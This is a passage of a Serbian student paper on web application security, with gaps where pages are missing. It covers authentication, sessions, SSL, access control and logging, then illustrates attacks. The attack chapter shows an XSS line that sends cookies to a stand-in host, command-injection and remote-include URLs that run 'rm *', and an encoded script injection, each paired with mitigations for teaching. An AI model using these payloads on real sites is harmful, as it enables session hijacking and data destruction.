Professional Documents
Culture Documents
Autor:
Stevan Džigurski
2
7.3.2. Manipulacija HTTP zaglavljima................................................................................................36
7.3.3. Manipulacija poljima HTML formi............................................................................................37
7.3.4. URL manipulacija.......................................................................................................................38
7.4. OSTALI NAČINI MANIPULACIJE....................................................................................................................40
7.4.1. Konfiguracija sistema.................................................................................................................40
7.4.2. Komentari u HTML.....................................................................................................................40
7.4.3. Stari, bekapovani i fajlovi bez reference.....................................................................................41
7.4.4. Debug naredbe............................................................................................................................42
7.4.5. Default (inicijalni) nalozi...........................................................................................................43
8. PROBLEMI PRIVATNOSTI...................................................................................................................44
8.1. OPASNOSTI PRI UPOTREBI JAVNIH WEB BROWSER-A.......................................................................................44
8.2. UPOTREBA LIČNIH PODATAKA.....................................................................................................................44
8.3. OPCIJA «BROWSER HISTORY»...................................................................................................................44
9. ZAKLJUČAK..........................................................................................................................................45
10. LITERATURA.......................................................................................................................................46
REČNIK.......................................................................................................................................................47
3
1.UVOD
Web bezbednošću se oduvek bavila mala grupa ljudi koja se obicno fokusirala na
bezbednost mreža i operativnih sistema. Pojavom sve složenijih Web aplikacija i Web
servisa kao i činjenica da se na njima nalazi velika količina poverljivih informacija
povlači sa sobom veliku odgovornost programera koji ih kreiraju.
4
1.1.Osnovni bezbednosni koncepti
Osnovni bezbednosni koncepti koji su važni za informacije na Internetu su
raspoloživost, integritet i poverljivost.
Bezbednost
informacija
5
1.2.Web aplikacije
Web aplikacije imaju klijent/server arhitekturu koja omogućuje interakciju sa
korisnicima ili drugim sistemima koristeći HTTP protokol. Za korisnike, klijent je
najčešće Web browser kao što je Internet Explorer ili Netscape Navigator. Krajni korisnik
vidi Web stranice i on je sposoban da vrši interakciju slanjem izbora. Funkcije koje se
izvode mogu biti jednostavni zadaci kao pretraga lokalnog direktorijuma do visoko
sofisticiranih aplikacija koje vrše npr. prodaju u realnom vremenu, B2B i B2C...
6
1.3.HTTP i bezbednost Web aplikacija
Sa tehničke strane, osnovni protokol na mreži je HTTP protokol. Njegova
jednostavnost načinila ga je vrlo popularnim. Protokol radi na aplikacionom nivou.
Klijent šalje zahtev HTTP serveru, HTTP server interpretira zahtev i šalje odgovarajući
odgovor klijentu.
Aplikacioni Aplikacioni
nivoNivo nivoNivo
prezentacij prezentacij
eNivo eNivo
sesijeTrans sesijeTrans
portni portni
nivoMrežni nivoMrežni
nivoNivo nivoNivo
podatakaFiz podatakaFiz
ički nivo ički nivo
Kada je Web aplikacija postavljena na Web server, korisnici šalju HTTP zahteve
za određene stranice. Napadi zlonamernih korisnika koji se nalaze u tim zahtevima, bez
ikakvih prepreka prolaze kroz firewall-ove zato što su oni deo legalnog HTTP zahteva.
Završni udarac su dali Web servisi (REST, XML i SOAP), koji omogućavaju da se kroz
samo jedan port provuku razni formati dokumenata.
7
2.AUTENTIFIKACIJA
Autentifikacija je proces utvrđivanja da li je korisnik, odnosno entitet, ono što
tvrdi da jeste.
2.1.Korisnička autentifikacija
2.1.1.HTTP Basic
Zatim klijent šalje drugi zahtev ovaj put uključujući Authenticate header koji
sadrži njegove akreditive za serverov upit. Ako server prihvati akreditive klijenta poslaće
traženu stranicu, u suprotnom šalje odgovor 401 neautorizovanog pristupa da obavesti
klijenta da je autentifikacija propala.
8
HTTP Basic autentifikacija se zasniva na modelu da se korisnik mora
autentifikovati sa korisničkim imenom i lozinkom (koji se obično unose u dialog box) za
svaki domen. Oni se šalju serveru odvojeni karakterom “:”, kriptovani base64 metodom.
2.1.2.HTTP Digest
Kao što je već rečeno, HTTP 1.1 specificira unapređenu digest šemu, koja pruža dodatno
zaštitu za:
-napade ponavljanjem,
-obostranu autentifikaciju,
-integritet zaštite.
9
Digest šema u HTTP 1.0 je osetljiva na napade ponavljanjem. Ovo proizilazi iz
toga što napadač može da ponovi tačno izračunati digest za isti resurs, te da pošalje isti
zahtev serveru. Poboljšana digest šema u HTTP 1.1 uključuje NC parametar ili brojanje
nonce-a u autorizaciono zaglavlje. Ovaj osmocifreni broj u heksadecimalnoj predstavi se
uvećava svaki put kada klijent podnese zahtev sa istim nonce-om. Server mora da proveri
da li je NC veći od poslednje primljene NC vrednosti koju je primio, te da ne uvaži
ponovljene zahteve. Druga poboljšanja HTTP 1.1 šeme su integritet zaštite i obostrana
autentifikacija, što klijentima omogućuje da autetifikuje servere, kao i serverima da
autentifikuje klijente.
10
2.1.4.Digitalni sertifikati (SSL i TLS)
SSL (Secure Socket Layer) i TLS (Transport Layer Security) mogu da obezbede
klijentsku, serversku ili obostranu autetifikaciju entiteta. Detaljni opisi mehanizama
mogu se naći u SSL i TLS delovima ovog rada. Digitalni sertifikati su mehanizmi za
autentifikaciju sistema, a pored toga predstavlaju i mehanizam za distribuciju ključeva u
kriptografskim razmenama (uključujući i autentifikaciju po potrebi). Razni formati
sertifikata nalaze se u upotrebi. Najšire prihvaćen je X509 v3 sertifikat International
Telecommunication Union-a (pogledati RFC 2459). Još jedan raširen kriptografski
protokol za poruke je PGP. Iako su delovi komercijalnog PGP-a svojinski zaštićeni,
OpenPGP Alliance predstavlja grupe koje koriste OpenPGP standard (RFC 2440).
2.2.Entitetska autentifikacija
Upotreba cookie-a
Cookie-ji se često koriste za autentifikaciju korisničkog browser-a, kao deo mehanizma
za upravljanje sesijama. Ova tematika je detaljnije opisana u delu koji se odnosi na
upravljanje sesijama.
2.2.1.Autentifikacija infrastrukture
DNS nazivi
Česte su situacije u kojima aplikacija treba da autentifikuje druge servere ili aplikacije. IP
adrese ili DNS nazivi su naizgled načini za autentifikaciju. Međutim usled specičfinih
nedostataka vezanih za bezbednost DNS-a, ova metoda bi trebalo da se koristi jedino za
brzu i letimičnu proveru.
Prevara sa IP adresama
11
Prevare sa IP adresama moguće su pod određenim okolnostima, tako da bi projektanti
trebalo to da imaju na umu. U opštem slučaju trebalo bi koristiti gethostbyaddr() , umesto
gethostbyname(). Za jaču autentifikaciju treba upotrebiti X.509 sertifikat ili
implementirati SSL.
Korisnička imena
Iako korisnička imena sama po sebi nisu zahtevna sa aspekta bezbednosti nije loše uvesti
neka ograničenja za korisnička imena. Ime koje je na neki način izvedeno od
korisnikovog ličnog imena može napadaču da nagovesti o kome se radi i sl. Druga
korisnička imena, kao na primer, broj socijalnog ili poreski broj mogu imati i zakonske
posledice. Email adrese nisu dobra korisnička imena iz razloga opisanih u daljem tekstu.
Zaključavanje lozinki
Ako se napadaču ne spreči, on lozinke nagađa veći broj puta. Vrlo je verovatno da će
pogoditi.. Mehanizme sprečavanja nagađanja lozinke trebalo bi postaviti tako da
blokiraju nalog u slučaju kada broj pokušaja logovanja pređe neku unapred zadatu
vrednost. Preporučljiv broj pokušaja logovanja je pet. Ovakvi mehanizmi, međutim imaju
nedostatke. Moguće je da napadač pokuša da pogodi veći broj slučajno izabranih lozinki
na poznatim nalozima te tako zaključa ceo sistem korisnika. Kako sistem zaključavanja
lozinki treba da štiti od napada, logična strategija je da se korisnički nalozi zaključaju na
12
nekoliko sati. Na ovaj način napadač će se značajno usporiti, dok će pravim korisnicima
pristup biti i dalje omogućen.
Postoji nekoliko strategija kojima se ovo izvodi. Jedna je da se definiše skup pitanja koja
se postavljaju nekome ko tvrdi da je korisnik. Ova pitanja bi trebalo da budu u slobodnoj
formi. Aplikacija treba korisniku da dozvoli da izabere skup svojih pitanja i odgovora, a
ne da koristi ista pitanja za sve korisnike. Na ovakav način stepen entropije se znatno
uvećava.
13
3.UPRAVLJANJE KORISNIČKIM SESIJAMA
HTTP je protokol bez održavanja stanja (stateless), jer se konekcija klijenta i
servera uspostavlja prilikom upućivanja klijentovog HTTP zahteva i dobijanja odgovora
od servera, a u ostalim vremenskim periodima je nema.
Većina mehanizma stanja, token sesije (session token) se prenosi između HTTP
servera i klijenta. On je najčešće smešten u cookie, može se prenositi i preko statičnog
URL-a, kao što može biti sakriven u HTML kodu Web stranice ili u kombinaciji ovih
metoda.
3.1.Cookies
Često ospravan mehanizam koji je neophodan za primenu mnogih komercijalnih
Web aplikacija (online banking i e-commerce). Cookie-ji nisu dizajnirani da čuvaju
korisničko ime i lozinku ili bilo koju osetljivu informaciju. Veoma je bitno korektno ih
koristiti. Cookie-ji su razvijeni od strane Neatscape-a, a sada su specificirani u RFC 2965.
Postoje dve kategorije cookie-a: sigurne ili nesigurne, trajne ili privremene, dajući četiri
posebna tipa cookie-a:
•trajne i sigurne,
•trajne i nesigurne,
•privremene i sigurne,
•privremene i nesigurne.
Sigurni cookie-ji mogu biti poslati samo preko HTTPS (SSL). Dok nesigurni
cookie-ji mogu biti poslati i preko HTTP-a i preko HTTPS-a. Naziv “sigurni” često
dovodi do zablude, jer on obezbeđuje sigurnost transporta. Za svaki podatak poslat
klijentu smatra se da je pod kontrolom krajnjeg korisnika, bez obzira na korišćene
transportne mehanizme.
Cookie-ji mogu biti poslati korišćenjem dva glavna metoda, preko HTTP
zaglavlja i JavaScript-om. Cookie-ji ne mogu biti čitani niti upisivani preko nekog drugog
14
DNS domena. Ako je sve korektno klijent pri komunikaciji sa domenom A ne može čitati
cookie-je domena B, ali postoji dosta slabih tačaka u popularnim Web klijentima koji to
dozvoljavaju. Ako se cookie-ji šalju HTTP-om, server odgovara na zahtev sa dodatnim
zaglavljem. To zaglavlje govori klijentu da doda te informacije u klijentov cookie
dokument ili smesti tu informaciju u RAM. Posle toga svi zahtevi za taj URL od strane
browsera sadržaće cookie informaciju kao dodatno zaglavlje u zahtevu.
Tipičan cookie koji skladišti sesijski token (session token) izgleda ovako:
Domen: domen Web sajta koji je kreirao i koji može da čita promenjivu.
Putanja: ovaj atribut ograničava vidljivost pojedinih direktorijuma na Web serveru. Ako
imamo stranicu http://www.redhat.com/reference , a putanja je /reference, cookie će biti
poslat samo za stranice iz direktorijuma /reference. Atribut / nam govori da se putanja
odnosi na ceo sajt.
Istek roka: predstavlja Unix-ovo vreme trajanja varijable. Unix-ovo vreme je definisano
kao broj sekundi od 00:00:00 GMT Jan 1, 1970. Izostavljanje ovog parametra browser će
tretirati tako što će cookie smestiti u RAM i izbrisati je kada se browser isljuči.
15
Sesijski tokeni koji koriste najjače kriptografske algoritme mogu biti razbijeni ako
dužina ključa nije dovoljno velika. Napadači mogu jednostavno korišćenjem automatskih
skriptova “proći kroz” sve mogućnosti. Ključevi tokena moraju biti dovoljno veliki da
spreče ovakve brutalne napade, ali imajući na umu izračunavanje algoritama i smanjenje
širine propusnog opsega dužina ključeva će biti smanjena.
Sesijski tokeni kod kojih ne dolazi do isteka roka validnosti na HTTP serveru
mogu omogućiti eventualnom napadaču da pogodi ili brutalno napadne validni
autentifikacioni sesijski token. Jedan primer je opcija “Zapamti me” na mnogim manjim
e-komerc sajtovima. Ako je uhvaćen cookie nekog korisnika, tada napadač može koristiti
token sesije da dodje do tog korisničkog naloga. Dodatno, tokeni sesije mogu biti keširani
ili upisani u log listu na proxy serveru, koji ako im vreme isteka na HTTP serveru ne
istekne mogu bi takođe iskorišćeni od strane napadača.
Velik broj Web sajtova zabranjuju ponovno neobuzdano nagađanje lozinke (npr.
HTTP server privremeno zatvori korisnički nalog ili zabrani pristup sa te IP adrese).
Napadač može pokušavati stotinama ili hiljadama puta da proba različite tokene da
pošalje preko URL-a ili cookie-a bez ograničenja servera.
Kritične akcije koje vrši korisnik kao što su transfer novca ili značajne narudžbine
trebalo bi da zahtevaju od korisnika reautentifikaciju ili generisanje novog sesijskog
tokena pre obavljanja važne akcije.
3.3.SSL i TLS
Secure Socket Layer (SSL) protokol je projektovan od strane Netscape-a, u okviru
Netscape Communicator browsera. SSL je najšire upotrebljavan bezbednosni protokol, i
kao takav on se ugrađuje u sve komercijalne Web browsere i Web servere. Kako je
prvobitna verzija SSL-a tehnički bila vlasništvo Netscape-a, IETF (Internet Engeeniring
Task Force) je preuzeo odgovornost za razvoj i unapređenje SSL-a i preimenovao ga u
TLS (Transport Layer Security). Prva verzija TLS-a, verzija 3.1, sadrži samo neznatne
izmene u odnosu na originalni SSL. SSL pruža tri bezbednosne usluge pri transportu
podataka. To su:
•autentifikacija,
•poverljivost,
•integritet podataka.
16
HTTPFTPSMTPSSL ili TSLTCPIP
Zbog jednostavnosti, oba protokola SSL i TLS, ćemo u daljem tekstu označavati
kao SSL.
SSL ima dva osnovna načina rada. Prvi je kada se uspostavi SSL tunel i jedino je
server autentifikovan, i drugi način kada su i server i klijent autentifikovani. U oba
slučaja SSL se uspostavlja pre nego što počne HTTP transkacija. SSL koristi kombinaciju
šifrovanja javnim ključem, simetričnog šifrovaja, kao i digitalnih sertifikata.
17
4.Server šalje «Server Done» poruku koja klijenta obaveštava da je server završio
početni deo inicijalne sekvence.
5.Klijent generiše simetričan ključ i šifruje ga koristeći serverov javni ključ.
6.Klijent šalje «Cipher Spec» poruku koja serveru govori da sva buduća komunikacija
treba da se vrši sa novim ključem.
7.Klijent sada šalje poruku o završetku koristeći novi ključ, pri čemu utvrđuje da li
server može takvu poruku da dekodira, te da li je pregovaranje bilo uspešno.
8.Server šalje «Change Cipher Spec» poruku koja klijentu govori da sva buduća
komunikacija treba da bude kriptovana.
9.Server šalje svoju «Finished» poruku kriptovanu sa novim ključem. Ako klijent
može da pročita ovakvu poruku, znači da je pregovaranje uspešno završeno.
18
4.KONTROLA PRISTUPA I AUTORIZACIJA
Mehanizmi kontrole pristupa su neophodan i ključni element pri projektovanju
bezbednosti svake Web aplikacije. Uopšteno gledano, Web aplikacija bi trebalo da štiti
front-end i back-end podatke, kao i sistemske resurse ograničavanjem korisnikovih
radnji, ograničavanjem pristupa resursima i ograničavanjem funkcija koje korisnik vrši
nad podacima. U idealnom slučaju, kontrola pristupa bi trebalo da zaštiti podatke od
neautorizovanog gledanja, menjanja i kopiranja.
19
-specijalni add-on ili plug-in softver potreban HTTP klijentu da bi se korisniku
onemogućilo neselektivno kopiranje (copy i paste),
-korisnici koji nemaju pristup podacima ne bi trebalo da imaju mogućnost da menjaju
atribute tih podataka (veličinu fajla, ime fajla, putanju direktorijuma itd.)
-pristup informacijama je određen na osnovu liste kontrole pristupa koja se oslanja na
idedntifikatore korisnika i na pripadanje korisnika određenim grupama.
20
RBAC metod kontrole pristupa treba da administatorima Web aplikacija da
mogućnost određivanja ko može da vrši koju akciju, kada, odakle, kojim redosledom i
pod kojim relacionim okolnostima. RBAC model kontrole pristupa pokazuje sledeće
osobine:
-uloge se dodeljuju u zavisnosti od organizacione strukture sa naglaskom na
organizacione bezbednosne norme,
-uloge dodeljuje administrator na osnovu relativnih odnosa unutar organizacije ili
korisničke baze,
-svaka uloga označava profil koji uključuje sve autorizovane komande, transakcije,
dozvoljen pristup informacijama, itd.
-ulogama su dodeljena odobrenja po principu najmanje privilegije,
-uloge se aktiviraju statički i dinamički u skladu sa odgovaarajućim relacionim
trigerima (upit za help, bezbednosni alarm, iniciranje novog projekta, itd.),
-ulogama centralno upravlja administrator ili vođa projekta.
21
5.PRAĆENJE RADA - Event Logging
Logging je neophodan za dobijanje ključnih informacija o bezbednosti, koje se
odnose na Web aplikaciju i njene prateće procese. Stvaranje detaljnih log zapisa o
pristupu i transakcijama je važno iz više razloga:
-log zapisi su često jedini zapis koji ukazuje da postoji sumnjivo ponašanje, i u nekim
slučajevima se mogu u realnom vremenu diretko unositi u sisteme za
deteketovanje neovlašćenog upada,
-log zapisi omogućuju uvođenje individulne odgovornosti praćenjem korisnikovih
akcija,
-log zapisi su korisni prilikom rekonstrukcije događaja nakon pojave problema,
vezanih za bezbednost ili problema uopšte. Rekonstrukcija događaja daje
bezbednosnom administratoru potpun uvid u sve aktivnosti uljeza.
-log zapisi su neretko opotrebljavaju u sudskim procesima kao dokaz zloupotrebe. U
ovom slučaju obrada log zapisa je od klujčne važnosti.
22
5.2.Obrada log zapisa
Efikasna obrada i skadištenje log zapisa je važna za pravilno korišćenje
mogućnosti Web servera i aplikacija koje se odnose na logging. Nepravilna obrada i
skladištenje informacija od strane mehanizama za logging može dovesti do gubitka ovih
podataka i njihove neupotrebljivosti za dalje naknadne analize ili ih učiniti pravno
neupotrebljivim. U idealnom slučaju log zapise bi trebalo prikupljati i organizovati na
posebno dodeljenom logging hostu. Mrežne konekcije, kao i sadržaj log zapisa trebalo bi
enkriptovati tako da se zaštiti poverljivost i integritet podataka koliko je to moguće.
Atributi log zapisa treba da budu takvi da je moguće samo dodavanje novih
informacija (stari unosi ne mogu se prepravljati ili brisati). U skladu sa prethodnim, log
zapise bi trebalo skladištiti na uređajima koji omogućuju jedan upis i više isčitavanja, kao
što je CD-R.
Log zapisi se mogu unositi u realnom vremenu u sistem za detekciju upada, kao i
u alatke za nadzor sistema i performansi. Sve komponente logovanja treba da budu
sinhronizovane sa vremenskim serverom , tako da svi log zapisi mogu biti obrađeni bez
grešaka usled kašnjenja. Ovaj vremenski server treba da bude dodatno zaštićen i ne treba
da pruža nikakve dodatne usluge unutar mreže.
23
6.VALIDACIJA PODATAKA
Najveći deo napada na sistem se može sprečiti, ili se opasnost od njihove pojave
može značajno smanjiti odgovarajućom validacijom podataka.Validacija podataka je
jedan od ključnih aspekata pri projektovanju Web aplikacije. Kada govorima o validaciji
podataka mislimo kako na unos podataka u aplikaciju, tako i na «skidanje» podataka sa
aplikacije.
6.1.Strategije validacije
Strategija validacije podataka je usko povezana sa arhitekturom same aplikacije.
Ako je aplikacija već u postupku izrade, projektovanje optimalne arhitekture biće znatno
teže nego u slučaju kada je aplikacija tek u fazi projektovanja. U slučaju da sistem
zahteva tipičan sistematičan pristup u pružanju osnovnih usluga, tada jedna od
komponenti može da filtrira sve ulaze i izlaze, i na taj način optimizuje pravila i smanji
trud.
Treba istaći da je prva strategija daleko najbolja. Moramo priznati da ona nije
uvek izvodljiva zbog finansijskih ili tehničkih razloga, tako da ćemo opisati i druge dve
strategije.
24
6.1.2.Odbaci podatke za koje se zna da nisu validni
Ova strategija je zasnovana na činjenici da je aplikacija upoznata sa specifičnim
malicioznim paketima. Iako je tačno da ovakva strategija može da ograniči otkrivanje,
veoma je teško održavati ažurnom bazu podataka koja sadrži podatke o karakteristikama
napada na Web aplikacije.
25
7.BEZBEDNOSNI PROBLEMI PRI RADU WEB
APLIKACIJA
7.1.Napadi na korisnike
7.1.1.Cross-site scripting
Moderni skript jezici, koji se izvršavaju sa klijentske strane, više ne vrše samo
formatiranje strana, nego su sposobni da izvršavaju veći broj akcija. Klijenti prevarom
mogu biti uvučeni u izvršavanje većeg broja različitih funkcija što može biti opasno. Ako
napadač odabere Web aplikaciju za koju je korisnik autentifikovan, skript može da vrši
funkcije u ime korisnika.
Napad se odvija na taj način da napadač, kroz propuste u samom skriptu, preko
Web servera, korisniku (koji je meta napada) pošalje stranicu koju je korisnik i zahtevao,
međutim, koja je ujedno i zaražena malicioznim kodom. Maliciozni kod se tada pokreće
uz odobrenje legalnog skripta poslatog sa legitimnog Web servera.
Kroz sledeći primer biće prikazani mogući propusti u PHP aplikacijama koji
dozvoljavaju CSS napade. Pretpostavka je da je korisnik prošao fazu autentifikacije i
sesija je započeta, tako da korisnik poseduje validni sesijski token. Korisnik upotrebljava
Web aplikaciju namenjenu pregledanju elektronske pošte. Ukoliko se prilikom ispisa
naslova svake pojedine poruke, on ispisuje bez proveravanja, postoji mogućnost CSS
napada. Deo koda namenjen za ispis je:
<?php
echo "<TD>". $naslov. "</TD>";
?>
26
tokenom. Napadač mora proveriti zapise koji su pristigli na ovakav načini i može preuzeti
korisničku sesiju. JavaScript kod koji bi omogućio opisan način napada mogao bi
izgledati ovako:
<script>
self.location.href=http://www.nesiguran.com/getCookie?cookies=+escape(document.
cookie)
</script>
27
7.2.Napadi na sistem
Korisnik je preko forme poslao serveru svoje korisničko ime i lozinku koji se
unose u SQL upit i prosleđuju bazi podataka. U bazi podataka se proverava da li postoji
slog koji sadrži zadate akreditive. U slučaju da postoji, korisnik je prošao autentifikaciju.
28
Izmena SQL vrednosti:
UPDATE usertable SET pwd='$INPUT[pwd]' WHERE uid='$INPUT[uid]';
Tehnike ublažavanja
Korisni linkovi:
29
http://www.sqlsecurity.com/faq-inj.asp
http://www.spidynamics.com/papers/SQLInjectionWhitePaper.pdf
http://www.nextgenss.com/papers/advanced_sql_injection.pdf
http://www.nextgenss.com/papers/more_advanced_sql_injection.pdf
7.2.2.Direktne OS naredbe
Skoro svi programski jezici dopuštaju upotrebu tzv. sistemskih naredbi, pa i kod
mnogih aplikacija sreće se ovakva funkcionalnost. Sistemski interfejs u programskom i
skript jeziku prepušta unos (naredbe) samom operativnom sistemu. Operativni sistem
izvršava dati unos i vraća odgovarajući izlaz na stdout zajedno sa različitim povratnim
kodovima kao što su “uspešno”, “neuspešno”, itd.
Sistemske naredbe mogu da budu veoma ugodna alatka za rad, koje se uz malo
truda mogu integrisati u aplikaciju . Najčešća primena ovih naredbi u Web aplikacijama
je manipulacija fajlovima (uklanjanje, kopiranje), slanje email-ova i pozivanje alatki
operativnog sistema u cilju različitih izmena na ulazu i izlazu (filtriranje) aplikacija.
30
Korisnik može kontrolisati sadržaj promenljive $to kroz sledeći upit:
http://www.primer.com/posalji.php?to=korisnik%40nesiguran.com+%3C+% 2Fpass
wd%3B+rm+%2A
Kreativniji napadači mogu čak napisati i virus, pa ga na ovaj način ubaciti u sistem.
Rešenje ovog problema je pažljivo filtriranje korisničkog unosa pre predavanja koda
interpreteru. Upravo zato je neophodno korištenje escapeshellarg() i escapeshellcmd()
funkcija. Konkretno rešenje prethodnog primera bilo bi:
<?php
$f = popen (`/usr/sbin/sendmail -i`. escapeshellarg($to) , w);
?>
31
<?php
include($stranica);
?>
Preko HTTP GET metoda, promenljiva $stranica se može postaviti na željenu vrednost.
http://www.primer.com/okvir.php?stranica=/etc/passwd
ili,
http://www.primer.com/okvir.php?stranica=http://nepoznato.com/kod.html,
pri čemu kod.html sadrži nekoliko linija koda koje mogu biti štetne na strani servera:
<?php
passthru ('rm *') ;
?>
7.2.5.Nulti bajtovi
32
kodiranjem nultih bajtova (%00). U specijalnim slučajevima moguće je koristiti unikod
karaktere.
Tehnike ublažavanja
Sprečavanje napada putem nultih bajtova podrazumeva da aplikacija proveri validnost
svih unetih podataka pre bilo kakvog daljeg rada na njima.
7.2.6.URL kodiranje
Iako neki karakteri ne moraju biti URL kodirani, svaki osmobitni kod (npr.
decimalni 0-255, ili heksadecimalni 00-FF) može biti kodiran. Kontrolni karakteri iz
ASCII skupa npr. nulti karakter (NULL – decimalni kod 0) može biti URL kodiran, kao
što mogu biti kodirni i svi HTML entiteti i bilo koji meta karakteri koje koristi operativni
sistem i baza podataka. Pošto URL kodiranje dopušta da virtualno svaki podatak bude
prenesen serveru, Web aplikacija mora pri prijemu podataka da preduzme odgovarajuće
33
mere opreza. URL kodiranje može biti mehanizam za prikrivanje mnogih vrsta
malicioznog koda.
Izvod iz script.php
echo $HTTP_GET_VARS["mydata"];
HTTP zahtev:
http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22http%3a%
Generisani HTML:
<script src="http://www.yourserver.com/badscript.js"></script>
HTTP odgovor:
http://www.myserver.c0m/search.asp?lname=smith%27%3bupdate%20usertable%
Tehnike ublažavanja
34
7.3.Manipulacija parametrima
Manipulacija podacima koji se razmenjuju između browser-a i Web aplikacije bila
je dugo jednostavan ali efikasan način da se aplikacija natera da radi stvari koje ne bi
trebalo da budu dostupne običnom korisniku. U loše projektovanim Web aplikacijama
zlonamerni korisnici mogu da menjaju sesijske tokene ili vrednosti sadržane u cookie-
ima, pa čak i zaglavlja HTTP-a.
7.3.1.Manipulacija Cookie-a
Tehnike ublažavanja
35
korisničkih podataka u kešu/bazi podataka. Ovo je najkorektnija metoda za očuvanje
korisničkih preferencija putem cookie-ja.
HTTP zagljavlja najčešće koriste samo Web browser-i i Web serveri, dok većina
Web aplikacija ne obraća pažnju na njih. Međutim, neki Web projektanti se opredeljuju
za pregled dolaznih HTTP zaglavlja, a kako zagljavlja nastaju na klijentskoj strani,
moguće je da budu izmenjenog sadržaja.
Primer: Referer zagljavlje, koje šalje većina Web browsera, u opštem slučaju
sadrži URL stranice od koje je zahtev potekao. Neki Web sajtovi proveravaju ovakvo
zaglavlje da bi se uverili da je zahtev potekao sa neke od njihovih stranica. Veruje se da
ovaj postupak sprečava napadača da, na primer, snimi Web stranice, izmeni njihovu
formu i pošalje ih sa svog računara. Ovaj bezbednosni mehanizam će zakazati ako
napadač uspe da izmeni Referer zaglavlje, tako da izgleda isto kao da je poteklo sa
originalnog sajta.
Tehnike ublažavanja
36
zaštiti kriptografski. U slučaju kada je nastalo na strani klijenta (referer) ne bi ga trebalo
koristiti za donošenje bilo kakvih bezbednosnih odluka.
Za više informacija o zaglavljima pogledati RFC 2616 koje definiše HTTP 1/1.
Primer: Posmatrajmo istu aplikaciju. Iza forme za logovanje može da se nađe HTML
kod:
<input name="masteraccess" type="hidden" value="N">
Tehnika ublažavanja
37
U slučaju da se tehnika upotrebe varijabli sesije na može primeniti, pripremili i
drugačiji pristup.
7.3.4.URL manipulacija
HTML forme mogu prenositi vrednosti unete u svoja polja koristeći jedan od
HTTP metoda, GET ili POST. U slučaju GET metoda sva imena elementa formi i njihove
vrednosti će se pojaviti u stringu upita sledećeg URL-a kojeg korisnik vidi u svom
browseru. Falsifikovanje sa skrivenim poljima formi je dosta lako, dok je falsifikovanje
sa stringovima upita još lakše. Korisnik treba samo da pogleda URL u polju za adresu
svog Web browsera.
Novi parametri će biti poslati aplikaciji, koja će ih dalje obraditi. Ovo izgleda
trivijalno, ali se javilo kao problem u nekoliko čuvenih hakerskih napada uključujući i
onaj kada su hakeri za 25$ kupili avionske karte od Sjedinjenih Država do Pariza, i
odleteli da drže hakerski kongres.
38
Na žalost, ovi problemi se ne javljaju samo kod HTML formi. Skoro sva
navigacija na internetu se odvija putem hiperlinkova. Kada korisnik klikne na hiperlink
da bi prešao sa jednog sajta na drugi, ili da bi se kretao unutar jedne iste aplikacije, on
zapravo šalje GET zahtev. Mnogi od ovih zahteva imaju stringove upita baš kao i forme.
Korisnik može jednostavno da pogleda u “Address” prozor svog browser-a i da izmeni
vrednosti parametara.
Tehnike ublažavanja
Ako neki osetljivi parametar ne može biti izuzet i URL-a, on se mora kriptografski
zaštititi. Kriptografska zaštita može se primeniti na dva načina. Bolji način je kriptovanje
celog stringa upita (ili vrednosti skrivenih polja forme). Ova tehnika sprečava korisnika
da vidi i da menja vrednosti parametara. Druga forma kriptografske zaštite je dodavanje
dodatnog parametra čija vrednost je MD5 digest stringa upita URL-a (ili skrivenih polja
forme). Više detalja o ovoj tehnici dato je u odeljku Manipulacija poljima HTML formi.
Ova tehnika ne sprečava korisnika da vidi vrednost URL-a, ali sprečava njegovu izmenu.
39
7.4.Ostali načini manipulacije
7.4.1.Konfiguracija sistema
Sistemi koj se danas koriste sastoje se od više softverskih nivoa, tako da sistem
može biti izložen napadu sa strana koje je teško ili nemoguće predvideti. Upravljanje
konfiguracijom ma koliko bilo bitno, i dalje je je teško za pravilnu upotrebu. Kako se
konfiguracije i faktori u okruženju menjaju u toku vremena, sistem koji je nekada bio
dobro zaštićen, može u postati slaba karika sistema bez ikakvih indikacija o povećanom
riziku. Organizacije moraju prihvatiti da je upravljanje konfiguracijom stalan proces, te
da se ne može jednom uraditi i tako ostaviti. Efikasno upravljanje konfiguracijom je prvi
u postavljanju preduslova koji će omogućiti pouzdan rad sistema i u slučaju višestrukih
napada.
7.4.2.Komentari u HTML
40
Automatski komentari – mnoge alatke za generisanje stranica, kao i Web softver
često u HTML automatski dodaju komentare u vidu potpisa. Ovakvi kometari
obaveštavaju napadača o konkretnim sofverskim paketima () koji se koriste na sajtu.
Ranjivosti poznate za pronađene pakete tada se mogu isprobati i na samom sajtu.
Tehnike ublažavanja
Za većinu komentara biće dovoljan jednostavan filter, koji skida komentare pre
nego što je stranica predata serveru. Za automatske komentare verovatno je potreban
aktivni filter.
Tehnike ublažavanja
Uklonite sve sempl fajlove sa vašeg Web servera. Postarajte se da su svi neželjeni
i nepotrebni fajlovi budu uklonjeni. Jednostavna pretraga za fajlovima određenih
ekstenzija koje nisu eksplicitno dozvoljene može biti veoma efikasna.
41
Neki Web serveri/aplikacije koje izrađuju dinamičke stranice neće poslati 404
poruku browser-u, već će umesto nje učitati stranicu kao što je mapa sajta, na primer.
Ovo zbunjuje osnovne skenere, tako da pomisle da traženi fajl postoji. Moderne skenere
ranjivosti, međutim ova tehnika samo usporava.
7.4.4.Debug naredbe
http://www.someWebsite.com/account_check?ID=8327dsddi8qjgqllkjdlas&Disp=no ,
i izmeniti u:
http://www.someWebsite.com/account_check?debug=on&ID=8327dsddi8qjgqllkjdlas&Disp
42
7.4.5.Default (inicijalni) nalozi
Mnoge Web aplikacije inicijalno (po defalut-u) obično imaju najmanje jednog
aktivnog korisnika. Takav korisnik, obično administrator sistema ima standardnu lozinku.
Sistem može biti kompromitovan ukoliko napadač koristi ovaj tip naloga.
Jednom kada je lozinka unešena ili pogođena, napadač ima pristup sajtu u skladu
sa ovlašćenjima naloga, što dalje vodi u najčešće dva pravca:
- ako je pomenuti nalog bio administratorski napadač tada ima delimičnu ili potpunu
kontrolu nad aplikacijom (ponekad i nad celim sajtom) sa mogućnošću bilo kakve
zlonamerne radnje,
- ako je u pitanju bio demo ili test nalog, napadač će ovakav naolog iskoristiti kao
sredstvo pristupa i zloupotrebe logike aplikacije i koristiti ga u cilju unapređenja napada.
Tehnike ublažavanja
43
8.PROBLEMI PRIVATNOSTI
Ovo poglavlje bavi se privatnošću korisnika. Sistem koji sadrži podatke o
korisniku koji su lične prirode, kao što su brojevi socijalnog osiguranja, telefonski
brojevi, zdravstveni kartoni, kao i detalje o računima, moraju biti dodatno obezbeđeni, u
cilju osiguranja privatnosti korisnika. U nekim zemljama i nekim okolnostima, postoje
